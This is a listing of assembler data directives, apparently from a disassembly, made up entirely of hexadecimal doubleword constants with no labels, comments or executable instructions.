dd 0E4F5D1A0h, 775A207Dh, 3ED4B0E9h, 0ED652103h, 8198D15Bh
dd 5419E5CDh, 0D2E4727Ah, 16078A3Ah, 0FD89F3F9h, 9ACA63Fh
dd 2BD2E9DAh, 710C7424h, 10AB71E9h, 3053C2C5h, 3BB0D54Fh
dd 0E8282F9Dh, 39087C47h, 56E280C5h, 686B4B77h, 14230E26h
dd 0E5526AC5h, 1FA12FEh, 5631EF76h, 809A7113h, 0AC7F0810h
dd 491A6824h, 1B82F442h, 0C3839F0Dh, 0F75036FDh, 6362172Fh
dd 0F859CB29h, 0B8EB050Ch, 0EF47F605h, 0C12E4BE5h, 3A5E4271h
dd 1080B127h, 50582E49h, 55B0605h, 0A332D235h, 409E087Dh
dd 42170A7h, 1267B23h, 4D01E2FBh, 65DA04B1h, 6103662h
dd 93FEE85Eh, 0A9C8580Ch, 0C79FA0CFh, 5B551D4Ah, 0F2EF8133h
dd 3A6D4068h, 79E8DCB4h, 0B1675A39h, 508F177Fh, 78E58893h
dd 0E607E910h, 3253BB03h, 0C1A40CADh, 2ECDBF5Ah, 0EA9285A9h
dd 9F1069CBh, 5F196991h, 0D4AC4540h, 1016C49Dh, 512BE168h
dd 0AD85147Eh, 227684ECh, 6AA76807h, 0BB6AF6h, 32816DC5h
dd 92123DBDh, 0C044CD7Eh, 36F1CCE9h, 531E7D63h, 0E64A7DFEh
dd 4721824Ch, 0BA65DE1Ch, 0A312A5A7h, 72E459FFh, 548C8D5Ch
dd 97C1745Dh, 5650CE94h, 6E2FC6C0h, 5C04DFFCh, 2C78F060h
dd 34BA6C4Ah, 0BC8C0C7Bh, 576F5F8Ah, 0A3D54A69h, 0BEF7ECB1h
dd 0A45BE42Dh, 659F5FA1h
dd 0F8AC97C6h, 79A94B34h, 0B2140B9Fh, 7539C620h, 589D4F2Fh
dd 860782F9h, 7A65C9F9h, 7C5E12E2h, 3CA70E22h, 0C0423525h
dd 91296D92h, 8CF87D4Bh, 30726E1Dh, 3238E124h, 0CA016F13h
dd 61082410h, 867C9D1Ch, 0E9FA3A83h, 0EA85E3B4h, 0DE0117D9h
dd 0C86B77D6h, 681F8318h, 0A7151794h, 8F2778F3h, 568E9003h
dd 24C7F450h, 0B3A4140h, 1E1A1536h, 68CC020h, 0BAC05D97h
dd 74C45D5h, 31E22AE9h, 0FB215ED9h, 74225601h, 0CEE54FF6h
dd 0EDE7092Eh, 0E4637E56h, 259F7E78h, 10D7C88Ah, 0B5B230DCh
dd 3CB4371h, 3531128h, 2656680Dh, 92032A5Eh, 574D3FCDh
dd 9CE9995Bh, 5825ED68h, 0FF191257h, 67E9AF10h, 0D614936Bh
dd 0FB84CF7Eh, 9082F9AEh, 9AB725A6h, 0A5E5FF01h, 13A0680Eh
dd 0C6E1BDECh, 69E63A58h, 0E292A752h, 5F260409h, 0FE942CB4h
dd 0CE0B3595h, 12409405h, 0FE57B768h, 663B7169h, 0F69FBDF0h
dd 0BB78E7ADh, 252D079h, 0FFB4EC8Dh, 232D92ECh, 12ED7B44h
dd 0A42FBD39h, 0EBA23FB8h, 15F43D8h, 2FAEDA12h, 92E90945h
dd 0A6DCF929h, 717C02C9h, 0A5F239D8h, 16369606h, 17110128h
dd 0B74C6DE9h, 21E94F08h, 5ABB4C98h, 0AA86403h, 3A5CEE9h
dd 76F5C387h, 0F3B06E77h, 4425493Ch, 7FA66240h, 588400FBh
dd 1B9257E9h, 0C30DC3C0h, 44D8EC4h, 0F10AC7EAh, 8D94EB7Eh
dd 7BE90802h, 0E5145EE4h, 0E64DC129h, 0EFA207A4h, 9526CC02h
dd 0F03DC3F9h, 28FAD35Fh, 0A27CE926h, 0E1C10AC2h, 45AC8003h
dd 9C4A055Bh, 0F1873CA5h, 0CB016AC2h, 2BC3B20Eh, 1F4D4FA8h
dd 6CAB5B3Eh, 0E916CF91h, 230BC35h, 13446CBAh, 16091862h
dd 68B2020Eh, 0F0712116h, 137DBF82h, 0C012E019h, 0B0265A1Bh
dd 1014C2CDh, 4BDD6C88h, 55052109h, 692F2267h, 452D10C2h
dd 0F18FCA27h, 7A15624Dh, 4EB8F0E0h, 84015093h, 0E87BA858h
dd 0BDE9B7FAh, 4AEFEFC3h, 70C1429Dh, 0D8BE5600h, 9DC3E66Eh
dd 6A18F8D2h, 0F742DD22h, 34F9BFFCh, 2F695B6Bh, 87094956h
dd 514519E3h, 217C59E5h, 66585B0Ah, 5C0266FFh, 461FA42Fh
dd 80A0B536h, 52B51D23h, 0DF52D994h, 0FC73CE91h, 5512B52Bh
dd 12ABDD89h, 0A637A8A1h, 47292407h, 0A98AC262h, 38C817C8h
dd 5200DAA6h, 0EE8083B6h, 95FBB3CBh, 0D1A43782h, 27ECD25Fh
dd 0CE590568h, 0CD47569Eh, 82CA1428h, 33BE3009h, 54E39AE2h
dd 0AF0545B4h, 94FD7CD5h, 9DD9E9C2h, 33F8A1FFh, 57CE9C2Fh
dd 1AFDCFE2h, 0D20D5C7h, 4A0E726Ch, 5A9DE913h, 0DBACFA53h
dd 0E4F50869h, 0BFF198EEh, 564499D9h, 2F7AD8CBh, 0FE1614F7h
dd 1CB79892h, 183727AEh, 684AF9Ch, 57D23102h, 0F18D20E9h
dd 3F3903E2h, 4AE1705Fh, 0BBF1551Ah, 5514B780h, 29137DDFh
dd 25FE19D1h, 2CF625DAh, 0A8FDA74Ah, 4F74CADEh, 0B4F2416h
dd 765C658h, 0AD1CFF2Fh, 15BAE91Ah, 80164331h, 0B83F521Dh
dd 6EB36307h, 91BAF031h, 305AC5D0h, 0EC8952EFh, 291660DEh
dd 595868C1h, 0EF819C5Ah, 304E2E0Fh, 660093EAh, 0F5811586h
dd 6148682Bh, 34DBC86Ah, 60A2470Ah, 51621898h, 0C1250D90h
dd 0DD337DCCh, 0DE546CDAh, 2FCBF00h, 0B814446h, 1F428FC7h
dd 0CE1F2D74h, 0C15DA2A0h, 9950DB32h, 3B3E86E1h, 0C904065Ah
dd 0FF0963D7h, 7BC763C0h, 0E92B1275h, 0BD448050h, 6BF829D0h
dd 17538398h, 935D3CA0h, 1FA958DAh, 9DD6141Ah, 7C569202h
dd 692586E4h, 487FDC0Dh, 433EBBCEh, 0D909FFAFh, 2171C35Eh
dd 5B92B62Eh, 315D28EBh, 2C0EE5BEh, 82F809FDh, 2051C2Ch
dd 7E1F929h, 4ACB6866h, 0E9A112ADh, 58B891Eh, 1B6800AFh
dd 3953832Dh, 50800D37h, 2259A868h, 8927E97Bh, 72BB76C4h
dd 15B5667Dh, 0B994BDE9h, 43D4C302h, 8CF52CE0h, 161C126Bh
dd 1074017h, 91298510h, 3EF52E0Ch, 801C0806h, 0ED875D14h
dd 51109D2Bh, 3A8F213Eh, 0B3BECC74h, 0F2EBC461h, 0D688EF16h
dd 2A627D6Ch, 27E8ABDCh, 0B16EF989h, 394EE9F2h, 0D82A9EB1h
dd 424A5EA2h, 1323DFA4h, 39212D4Bh, 0E9F10023h, 5E810642h
dd 9447C77Bh, 2BDE91Bh, 484A84F5h, 123D56Bh, 0BE85C18Ah
dd 0A93BEAD9h, 8A711008h, 0C5FE0527h, 1D805F9Dh, 102702Bh
dd 72D51E8h, 0DCEA7FF2h, 51817C71h, 0FA1A93B9h, 9D98E9C8h
dd 0C3C02E0Bh, 417BCE80h, 4F95EC7Eh, 0A07D2FB8h, 3D7FF3E2h
dd 315E1C4Dh, 0CCDCEDF2h, 9F2394EBh, 19C1741h, 96A5D58h
dd 4CDC0D19h, 37A00572h, 0F1E1E4BCh, 0A5EE0573h, 6BBBF920h
dd 0BD518DDCh, 0E9D0EDD6h, 0C0F2AA33h, 3D53D4EAh, 0DE92B370h
dd 0D0CB40CBh, 0A12D405Ah, 6E1B3618h, 2D7BBC84h, 0E5726711h
dd 0B8610882h, 53CB34ABh, 0B3B9B32Ch, 0E6C0F203h, 4D2EF103h
dd 0C36E232Eh, 0AFCF3FC9h, 4A6FF012h, 353E80C8h, 0AA25C165h
dd 8E90E058h, 0D95981BBh, 45D5E6F0h, 4F90BE49h, 0ACB01C23h
dd 73E9C614h, 0F088EA12h, 4DFFAFE4h, 0A05AEEB8h, 9C940555h
dd 0A0BFE4C0h, 0FCFA956Fh, 3D31EF00h, 75E94553h, 93F928Ch
dd 3E733FB8h, 0FAA4FF8Dh, 224FC0DFh, 56F42F67h, 0FF1AEB7Eh
dd 35A0F503h, 0E4309FCAh, 0E9F82C5Bh, 499E100Bh, 0B609BA7Eh
dd 463D74B5h, 0C5084E55h, 60AD7Dh, 3A6C2FC2h, 3CECE946h
dd 60E64A97h, 0E15449B3h, 0D2E9F96Fh, 81FD6FF1h, 3DD18105h
dd 6059022Dh, 0B288CAE2h, 0AED35E19h, 59B0BF30h, 48567D2Eh
dd 84517D8h, 6418FE64h, 0F4C56541h, 964B509Dh, 0C6C0F9ADh
dd 5229132Fh, 0BF08297h, 8B6800A5h, 785A7663h, 8335ECCFh
dd 4A27BA0Ch, 83ABD745h, 0B43BF880h, 0A62F1054h, 0CEE8916h
dd 0CE5DB9E7h, 5B5FBF9Ah, 40FE5CB0h, 0F439804Dh, 3C39CABh
dd 0EB1DE31Eh, 992D6068h, 469475BAh, 258B3AA1h, 56EC2A6Ah
dd 9A2AE9E0h, 9D644EBDh, 0C9F2374Ch, 0C3172295h, 64D9A9CAh
dd 5718DDE8h, 476F92B4h, 0BE0289DCh, 825E300Bh, 658EFBBCh
dd 0F9FC2DFDh, 81C5FC50h, 2E7B2254h, 888B503Dh, 0FAA784DDh
dd 40B8EB40h, 0F5A1ED64h, 0C6EA965Bh, 0A8A63AE8h, 8E946FFCh
dd 0BE9CBD0Ah, 978C221Eh, 5BF2295h, 9837141h, 0D3D9B801h
dd 19D5C906h, 0BB839D7h, 0E244A698h, 89C0CB97h, 0DFE636F6h
dd 0BCFCBDFEh, 6EAFC707h, 7AEA5519h, 5A59080Ch, 0DA08505Bh
dd 18BA023Dh, 50685173h, 56702015h, 28E74B5h, 9677AA5h
dd 87C0CB43h, 0A4902D53h, 7C76A757h, 31AE935Bh, 4A2BBAA4h
dd 86AC5AEEh, 0F23168ECh, 0D94D5D03h, 0F7F00105h, 6075023Bh
dd 0AAB22409h, 5D4E0AB0h, 39890DBDh, 0FD259776h, 8EBC711Ch
dd 0DB86E289h, 4C10A7D4h, 629F9DE9h, 86F95552h, 99A57C69h
dd 3B5C277Bh, 56E9F91h, 736D6800h, 0C6B919B5h, 0F0F12F60h
dd 4A9490CAh, 7E1AF1E4h, 8B40BF2Ah, 8C614E0Ah, 53735914h
dd 0F0B37695h, 624AE95Ch, 2558BF00h, 7BDE17A9h, 0D5014E4Fh
dd 1A03E479h, 3AED5B13h, 11B9BE00h, 9425FAFh, 94E9EAD1h
dd 0B33BC2D8h, 9805930Ah, 6C04FEB9h, 2BBD44h, 7F103ED4h
dd 45E824E9h, 19FFAFA2h, 0C7E553DAh, 986EFEEDh, 2D20E931h
dd 0CB803F94h, 60850667h, 0DA305DF3h, 0A422696h, 0FC98DD41h
dd 0FF719698h, 0A2605CB6h, 0F4157E71h, 695A78D6h, 95711A6h
dd 0E9E10284h, 48295D12h, 97CE1E55h, 0DE8C11F9h, 39EC9F77h
dd 13196668h, 22474673h, 0F2218737h, 0ABB040D2h, 459A0E4Ch
dd 33825AF7h, 209A4E6Dh, 8932B403h, 0F0A420C2h, 0D37C9FE3h
dd 100AB80Eh, 0D95E1AC9h
dd 78EE5B12h, 0BD27E9E3h, 0CFBDD49Fh, 7CA0C54Bh, 6E6C2B2Dh
dd 0B327677Ah, 75B120CFh, 50603056h, 12F4F04Fh, 12FA24Dh
dd 0E0F912Eh, 65817ABCh, 55002269h, 371762BDh, 15072FD9h
dd 0FBC15Dh, 0A933F1E2h, 5089F692h, 9B7D77CDh, 5C5C14CCh
dd 0FA736884h, 3D086535h, 9BB00E7Dh, 0BFE3E4h, 0C868575Eh
dd 614DB426h, 0DAF63F87h, 25A9A440h, 13BB554Ch, 74FF2F11h
dd 0F9298035h, 7C2EED51h, 614E3A5Ah, 0CD9A11BDh, 9097B36Eh
dd 0BD43048Fh, 64C0AE5Eh, 5B554B6Fh, 4410AA3Fh, 10E44808h
dd 0D8489472h, 1223E301h, 0F5F08957h, 0FD852A53h, 9DBB3C52h
dd 0FACD7FC9h, 0AF64126Ah, 5F4952F2h, 3B3BC10h, 0B652E328h
dd 5FF3AA71h, 4AFA5C1h, 0D78442C7h, 807A8DF5h, 2B1D2394h
dd 0A3002FB2h, 2D21557Ah, 16ABAFC3h, 13C53172h, 1F37FA9Ch
dd 5BB8CB8Fh, 8378A746h, 39C3584Bh, 0F47AF268h, 6F3AC211h
dd 2D0264F7h, 0FC7B8A83h, 4E20B9Dh, 10E44EC7h, 0C10BEB84h
dd 16A48050h, 1765710Ah, 0B84FACE9h, 57DACFC4h, 0A44152A3h
dd 4A2CB6Ah, 79C50EDBh, 80B416FAh, 67143472h, 89F3813Ch
dd 0C3704810h, 7D30CFBBh, 2713764Ah, 9E0095E9h, 0F38821B6h
dd 6A6268F2h, 0E483C5B9h, 8BBA6AABh, 0EB420239h, 60DCB6F2h
dd 0C5AB7425h, 0CB12AC02h, 0BA4960F8h, 0D66C3DAAh, 0B992AFCAh
dd 0CE0F4ABDh, 0A3DA3099h, 3773C269h, 881ECC05h, 25815A3Ah
dd 3D75A8F4h, 9F0FE43Eh, 0FE81A140h, 0F9460614h, 0A8D12922h
dd 15A0880h, 0B760CF5Ah, 411EE947h, 4FA87F8Bh, 0C0A00CF6h
dd 34126929h, 18EE5F0Eh, 0FA890F95h, 143AE912h, 49A2FAA8h
dd 54B1DE58h, 0C7263001h, 0B42C5A51h, 534E7DDFh, 9CA1296h
dd 0D47CF82Ah, 0E4EA5865h, 826BFD76h, 20C86E1Ah, 0AC76183Dh
dd 0D1B1F927h, 88B266Eh, 0AE36A743h, 2DEE04C0h, 0BB0D1D31h
dd 8177DD4h, 0E1650C4Bh, 606F4888h, 66E26A26h, 2CEA105Fh
dd 5E5A50A8h, 0E4E59CE3h, 270BD368h, 5E0144F9h, 40CC84Fh
dd 0AFEBFAE9h, 28C4B9A2h, 5DA2BEDAh, 2E762D93h, 9C0A5B61h
dd 17A4A22Fh, 1AB680C5h, 0BF7DE950h, 7BB2B419h, 455D5A80h
dd 0C89927E9h, 0AE34E348h, 0D12C57CAh, 5F176885h, 5CBE2940h
dd 1F551C67h, 0D2D194BBh, 12CEF813h, 0D2CDB6h, 1ED15E93h
dd 885282FEh, 24E066EEh, 0D778F6F7h, 2E5BE1F9h, 41BFABB0h
dd 0E243E294h, 488C8ABDh, 0B8DF5445h, 3462C000h, 1090558h
dd 9E70B548h, 4A88A140h, 5ED0FCC3h, 5559440Bh, 8472A82h
dd 3040B300h, 25FB9FD3h, 542F772Ch, 63582C53h, 0AB85431Eh
dd 899F41F2h, 197706C9h, 0A62B5343h, 0E9A3418Dh, 7D892B6Ch
dd 8973602Fh, 0CCB55AD1h, 0B0BC2F95h, 5C093046h, 121B094Bh
dd 9839441Fh, 97607B52h, 48687618h, 58A133E7h, 12AA00A6h
dd 0E9421B95h, 0D5899588h, 1148655Dh, 5536352Ch, 0FDEB3C0Bh
dd 7E0CD72Dh, 2DE9E3F4h, 3D54A57Eh, 89D0E5C5h, 12C79BDh
dd 9BBB75B4h, 288AD943h, 93F85BF3h, 53E9D11Ch, 2C4CC032h
dd 0C81A8641h, 0B08C9FEh, 316422D0h, 0E244E0EAh, 4AA8F603h
dd 1904154h, 6177683Dh, 42C3E135h, 0A0E55F08h, 0A7C8FCA5h
dd 8056E95Ch, 8A4FCF9Fh, 6FEEFAC9h, 872CB842h, 0A429E559h
dd 809D09DFh, 7E970744h, 0BA5208D7h, 0FB2B75CBh, 0A975340Bh
dd 2067D807h, 0D9B598ECh, 2D7BAC65h, 0ADF35D68h, 63EB2212h
dd 327E0DECh, 523297FEh, 4770FF40h, 9833C50h, 58FF1553h
dd 42110444h, 0AAAD2F9Fh, 0D7885D27h, 9B200Ch, 0BC788EE2h
dd 1A80E97Ch, 90F31EBDh, 3B4212EBh, 0EFA70F4Bh, 1308A8DCh
dd 0E2F948E9h, 1B680950h, 0C03EBA5Ah, 0E302E340h, 4D861920h
dd 0F0007574h, 0CB3535Ah, 0D8F0AD2Ch, 5B700474h, 0DDF7D075h
dd 4B4CBE35h, 0B600F4A3h, 8DE6808Ah, 2E6233E9h, 5CCE094Ch
dd 32BB8876h, 0F6272C9Eh, 0E6D1F001h, 0BE42BDh, 75FBB0DBh
dd 0B5B39897h, 0E916DCDAh, 0E1219C17h, 13FF32BFh, 0A4520FF6h
dd 1509ED7Fh, 436F8D0Eh, 2B4000A3h, 16C4827h, 62768CEh
dd 20F0C629h, 53762FC3h, 0DAB4F32Fh, 8D4FA0FCh, 79452C3Eh
dd 0E5021F85h, 0FC4E167Dh, 317AF554h, 4632F85h, 5DEC89C0h
dd 0F8034A1Bh, 85615A84h, 1328CAD8h, 9C8BE93h, 2E7F4135h
dd 5880C1C7h, 0BD2E9869h, 0F104CC72h, 221CDE2Ah, 51DC8BBBh
dd 7355C24Bh, 7B97BEA6h, 0C4F6D0D0h, 0EDE53E61h, 18823B2Ah
dd 32E77766h, 0CB387DA7h, 439D665Ch, 6850E715h, 0F7E93E72h
dd 0BB7D006Ah, 35D7562Eh, 5BD82116h, 4DB242FFh, 0FD4892BFh
dd 7F5E740Bh, 8CD10FBh, 4046B640h, 11E2BAD7h, 9655016h
dd 6C41414h, 735B0A9Dh, 0E883C34h, 0E4B0518h, 8EE4B230h
dd 0ECDF2928h, 0F1EE7F9Ah, 0F1DFBEFh, 0C6A7A768h, 0C30F2FE5h
dd 0D1999857h, 629F964Eh, 50001D4h, 1DEA5E1Fh, 64113575h
dd 32412F86h, 0FE8901BDh, 0C4A1C1CAh, 0B559FF74h, 1E83E1C3h
dd 0F97020E3h, 562EF06Bh, 84C90C90h, 0AE0FB95Eh, 461E0E3Bh
dd 9853908Eh, 0B4F97BE4h, 66ED401Bh, 296F167Fh, 0A2C4A0Eh
dd 59D56884h, 9BA6F8Ch, 19D755B7h, 0D842E3A9h, 0A4E36E10h
dd 5AD511C5h, 0DB07888h, 14CA330h, 12712111h, 0B3507C0Ah
dd 0A693D530h, 97D468ADh, 6EBE2E6Ch, 411E97BEh, 52C75760h
dd 0E07BE33Fh, 899055F7h, 5C7CDB74h, 4DD09FA3h, 0C25A1AE9h
dd 0EB307BC9h, 969CF650h, 0DBF18115h, 0ED0C2E74h, 0F7B864AAh
dd 2A2DD800h, 514D6311h, 61993BB9h, 0E1813800h, 3E2E6BAFh
dd 76EC176h, 0AF7FEE42h, 6E5AF846h, 0AC734E8Eh, 278258CEh
dd 68E3C8F6h, 0CC614B8Dh, 5120EBEh, 48002BCCh, 40065FD0h
dd 0C67EB557h, 0ACC1CFBCh, 5803A524h, 0FAECA9F2h, 9E2D547Fh
dd 0C2AD1338h, 50FD803h, 652C2A35h, 0CDCEAE23h, 9DA5E909h
dd 8BF5E7FDh, 8A447D17h, 6B4E3FF0h, 8C9F10B3h, 0EA9734A4h
dd 0D92C8B2Fh, 6DD169E7h, 4ADAF761h, 0ADF802Fh, 95C7405h
dd 7FD04FDAh, 488E1910h, 0A35A756h, 3639457Fh, 0B94F409Dh
dd 62DAF1B6h, 59CA291Ch, 0F12DD1D6h, 49B7443Eh, 4814BDh
dd 20E32483h, 7FF7EFD1h, 9395FD7h, 0FDC4BE3Ch, 68135EFAh
dd 0D2AD5540h, 8F87E9A0h, 0E202F192h, 89267809h, 0F7BD96C1h
dd 1BD0F20h, 25F609DFh, 3ED207E9h, 68512760h, 11641663h
dd 0C9DE003Dh, 36082E7Ah, 23C5494Eh, 73CC7901h, 8882F8CBh
dd 0A7E5EDDh, 46885562h, 1963D08h, 436309CAh, 358ECFB2h
dd 527187D3h, 3C7D0EB6h, 2711BA19h, 6A733C8Bh, 8B5A0F4Ah
dd 0EF6001BBh, 0BBDCE839h, 60AA3970h, 0CAC1E909h, 114226CCh
dd 17BD710h, 4FA4E581h, 15204D30h, 4E150B6Eh, 70B481Ah
dd 40BDA5D5h, 0C04C19FCh, 3AD52F18h, 0B85FEB80h, 8AEE3235h
dd 9361D05Dh, 7C57D809h, 0F9555932h, 3CDD7D60h, 651B1E8Bh
dd 57354289h, 1F400A12h, 134B63A7h, 2C23B0B0h, 25713C0Fh
dd 7DBA0B5Dh, 8E2C56E5h, 0D9E9093Bh, 83EED5B0h, 1AB6BD22h
dd 4C66E2EDh, 0C5517B78h, 48993E08h, 0E21702F1h, 0C475620Ch
dd 65F6F06Ch, 0FE584EB7h, 17CF23E0h, 0FE444D38h, 82BFBD00h
dd 92AD0E33h, 2F8C9E83h, 0AB813DD6h, 5B67C922h, 0A57AB771h
dd 0C5817EA7h, 5AA4EC59h, 0EA784CEh, 0CEA2C0E4h, 36264B9Ch
dd 32010935h, 4E58102Ch, 69C95082h, 88C01E27h, 14B5733Ah
dd 2C68FA13h, 0CB13206Ch, 0C1F08D04h, 1CEF7EDh, 0DBC426BAh
dd 9749B221h, 3EFD1EF2h
dd 3D9E31ACh, 0FFAB9092h, 178B488h, 2D02926Fh, 2B834B77h
dd 0BAD94C0h, 0E97F5EB0h, 5808401Bh, 0FCDEB790h, 159C53C7h
dd 734B10E7h, 27688E0Ch, 50F13252h, 0E8DB5443h, 0B7D07D28h
dd 9DD696BDh, 0B4D34A54h, 5AA5D3C2h, 0D990939h, 7F80C5Bh
dd 0DCBDA084h, 7A27704Ch, 1E63FE82h, 0CD8D4C4Eh, 420FC64Dh
dd 92372B10h, 159380FFh, 0BFDE2Dh, 902FDC0h, 0B140B775h
dd 0F7058147h, 2645549Bh, 887303FFh, 0CBE6E34h, 0F4C27C01h
dd 0BDCAE9FDh, 0B05B63Dh, 0F1175F58h, 9DC97FC2h, 970E1F62h
dd 457F45Ch, 0C979D16Fh, 5862C14h, 3239136Ch, 204BDDEFh
dd 0C06F87F0h, 0D6A76D66h, 5C8F2A64h, 6609E47h, 23801BF5h
dd 0D35B0B90h, 84D281A9h, 84B6EE4Eh, 4E74BA96h, 1D8DA708h
dd 49BA9358h, 0BE6559A6h, 0B598F7A7h, 238F7C1h, 37E9409Eh
dd 62278DACh, 54C49F6Ch, 0A42AD113h, 825D7FA0h, 265D207Dh
dd 0BCF247FDh, 9962650h, 3974B919h, 47317F4Bh, 5461AFD6h
dd 439A1746h, 28C380BEh, 4C310620h, 0BD059EF8h, 0BF5BDA88h
dd 0BC079D05h, 6CA26F90h, 0C951E02Ah, 0A37F95A6h, 0CC58C3FBh
dd 17FE26A0h, 50785A3Fh, 0AC5A0702h, 7BEDB4DCh, 0E9100192h
dd 0D16A5E0Bh, 0A366C71h, 0AEE7885Bh, 27244208h, 0FC091845h
dd 492359DEh, 4F42D8D6h, 18D70884h, 56BB47BDh, 0DC433738h
dd 65B001C2h, 0DBF76AFDh, 0AD1E1082h, 0CDAED641h, 45484936h
dd 6A98BF60h, 0F560A37Eh, 6C5EEE4h, 0F00F6062h, 68617345h
dd 8379DA9Fh, 141C4008h, 0C3415FE9h, 0DC163067h, 0EA2F828h
dd 3EA6AF92h, 0C83CBFD2h, 0B6520466h, 0D488E9BCh, 604796C3h
dd 0E9D9DB95h, 0C1BB6D83h, 0FBF26D03h, 432E140h, 772ACD0Ch
dd 50B92Eh, 8E3D07C6h, 0B5B24AE9h, 7E5E64E9h, 84593D61h
dd 3EBE8A2Eh, 89CBA5C3h, 1907DD1h, 7328076Dh, 8A0F957Ch
dd 83448849h, 0E2BAA7F6h, 1943C2ECh, 0BD2CF82Fh, 0E876624h
dd 29A636ADh, 0ED4110DDh, 23E9F18Bh, 0F6D7B17Dh, 0AFE8123Bh
dd 408CAB38h, 9EEC5A92h, 90C1361h, 287D5FFDh, 3752582h
dd 0A1BF4355h, 0AAFD9F7h, 0A602AF74h, 0D677F011h, 0CDAD39E4h
dd 0FD1E9AF5h, 0A61DDC82h, 0BDBD60Bh, 625EEBB6h, 6409B26Ah
dd 0BBB27DC1h, 0C30461FDh, 0AA8C173Ah, 4F6A3F68h, 0E221EA94h
dd 4332B381h, 99D1AB93h, 7FF3E9h, 1CAFBEC8h, 93F43B6Ch
dd 5A710095h, 0E126FA68h, 9291AD7Eh, 16BF7424h, 727B01FBh
dd 6076980Ah, 0A5C0B788h, 0EA6042EDh, 0CCF9F717h, 0ABD87F92h
dd 0AF03774h, 61619F34h, 27F22E5Ah, 0E982C191h, 0C4E84DF4h
dd 6FE145F6h, 90B5E4FCh, 0EB689A16h, 0BBB93700h, 0E942DFCBh
dd 2305B5E6h, 0A641AC5Eh, 0DEE913DBh, 4038FAB3h, 0BD63FE54h
dd 427DED09h, 0B5D1F1FCh, 0BA7D078Ah, 254D7002h, 36271BDCh
dd 1A35F053h, 53685548h, 0C58840FFh, 9B4FE9h, 71A4BE17h
dd 55584615h, 3E0B029Eh, 41E5C118h, 60EDC598h, 4B21EE20h
dd 0A51EACEEh, 1E749D07h, 0D5563212h, 9A4C2279h, 0E27D0905h
dd 5D03214Ah, 1A038C86h, 3648A9BAh, 0FE80EC02h, 15914222h
dd 58D2F70Bh, 91ED2934h, 2C15B2h, 0A667FB68h, 0F6515BD8h
dd 801109Ah, 0CD25AA5Bh, 0D9E7B91Fh, 2EE8AC9Ah, 0FA362D76h
dd 0A0EBE912h, 0D524E2E3h, 7999A0A8h, 4CCF63E0h, 3D031689h
dd 0EAF777EFh, 0A7480523h, 0C070480Ch, 6362402Bh, 370664Dh
dd 0F30702F2h, 0F1EAB112h, 316C26F4h, 0E920E2D1h, 0BB5B2583h
dd 0B702DFBCh, 0AF226D68h, 65E6007Dh, 0D05A40A3h, 305A0752h
dd 0C2E95080h, 0B533F2B7h, 7B6877B9h, 0EB5D9DF6h, 4140A45Ah
dd 84C2128h, 68280BFEh, 6CF82409h, 10D00CA4h, 7E5E891Ch
dd 0FF4CB7Bh, 388C529Dh, 0AB5FD5EDh, 1C75D19Eh, 9DA884C3h
dd 0D7E251F2h, 0B701AE74h, 5EF78047h, 9DCBC7CCh, 0ED27360Fh
dd 0E7F50705h, 55A57C5h, 3DDFCCE8h, 0FBE6B40h, 1EB2542h
dd 0ECD6CE4Eh, 18DEF0DBh, 57742C7Bh, 0B3831828h, 0D0B479CEh
dd 0A7FEA364h, 43504EB2h, 844C7EC0h, 5D54C494h, 70E4BCC1h
dd 0BE14797h, 0A5F1CFC8h, 980A0D8Bh, 1FF1E5C5h, 4A481D22h
dd 0AA3142C5h, 0D7EB7CCh, 5BB0D7FAh, 0FE5F29B9h, 4B2EDBACh
dd 0E9860743h, 55D9D969h, 5A74E970h, 344FF3B9h, 0C9A0B1BEh
dd 1D7900EAh, 861E6844h, 0C5B85143h, 0B658BAC2h, 0C24FC315h
dd 5E0882EDh, 0B6015F56h, 41685421h, 2ECDA890h, 9E202BCh
dd 5812717Ch, 0D20D0EFh, 0D73002B7h, 0CBA4E220h, 2DCC1D07h
dd 76BC0941h, 74608F5h, 0C5895F03h, 65AEDC58h, 0CBDB0102h
dd 782BCF62h, 8EB28B2h, 7D96A2C0h, 2DE958EAh, 0F520D004h
dd 8852DC4Eh, 0D78BE0Bh, 0A1E2DFBAh, 4C24D0FFh, 0DE009705h
dd 31583E19h, 30B759CEh, 81ABB7BFh, 8B1C2F56h, 14686044h
dd 0B876A0AFh, 0F3B80E4Bh, 4623FEA0h, 0A2355B03h, 102E45Ah
dd 265C73A4h, 60D5F71Ch, 0D6978EB1h, 0E767CF39h, 6D5D0B0Fh
dd 0C3D24D3h, 3EA19939h, 21BA734Bh, 8241D7D8h, 0EB80D32Fh
dd 0E266E3CDh, 0C08A047Dh, 7C880219h, 0AD4908DFh, 97E9D076h
dd 0E5AD0347h, 5E906C7h, 0EA0429B0h, 551A5D97h, 0EF9084EFh
dd 34C72BD0h, 0C6C6953h, 0E85FB712h, 822B9041h, 2FD2BA41h
dd 77813FECh, 6F11E961h, 0ECAA4A84h, 30BFB448h, 9B43E9D6h
dd 163779B5h, 0F2E4675Ah, 0BC481856h, 0E82C4855h, 98FD7D1h
dd 0EEF5EAC9h, 0FECC8681h, 1C980C4h, 0DBA2E17Ah, 0ECCB419Bh
dd 790EBFCCh, 35CC08C8h, 1204FA28h, 20A9C715h, 8BA7F11Ch
dd 765E1CACh, 25ED6C25h, 62967A56h, 0BD80E1B7h, 9FCBF32Ah
dd 71D00B92h, 3D4B2CC2h, 0A9C6F88h, 9E7F25A1h, 174BD65Ah
dd 0FC64A5F8h, 400551E9h, 0D9297527h, 81402C4h, 0DBCB2D3Bh
dd 12AAA60Bh, 93C2A695h, 5C251705h, 0B305D3B9h, 0BC12EF2Dh
dd 602F7E2Eh, 41B8F9D1h, 89BD1575h, 0FE395D74h, 2D5F80D8h
dd 78910BA9h, 95685913h, 5C86B1FDh, 0FC9D4C9Ah, 0B0D35CDEh
dd 5D11DCFAh, 0D00FE925h, 6B669B98h, 1801CEF7h, 37FC6FE9h
dd 3A1864F3h, 0C80C0DAEh, 50CB2433h, 9205005Eh, 0AFE94CD1h
dd 3E308F9Dh, 351301C0h, 0AB096268h, 4FC4C769h, 0DAC0D9ECh
dd 0C131A03Fh, 16CCE148h, 0AFB4451Eh, 0B62BE32Bh, 17D910C8h
dd 55B6092Ah, 953A9939h, 0D829EEF6h, 30625763h, 292014E0h
dd 1FCB05D8h, 492B5561h, 81699BB0h, 47F22A7Eh, 247E0B92h
dd 920969E6h, 77077Bh, 2F0A16F5h, 9777983Dh, 295EC25Ah
dd 0AE12ECE2h, 1C32A37Fh, 7025408Eh, 1E5F09CEh, 0FF38D5h
dd 86E23B31h, 0D0012C93h, 8A1A126Bh, 0C2401202h, 48468BAFh
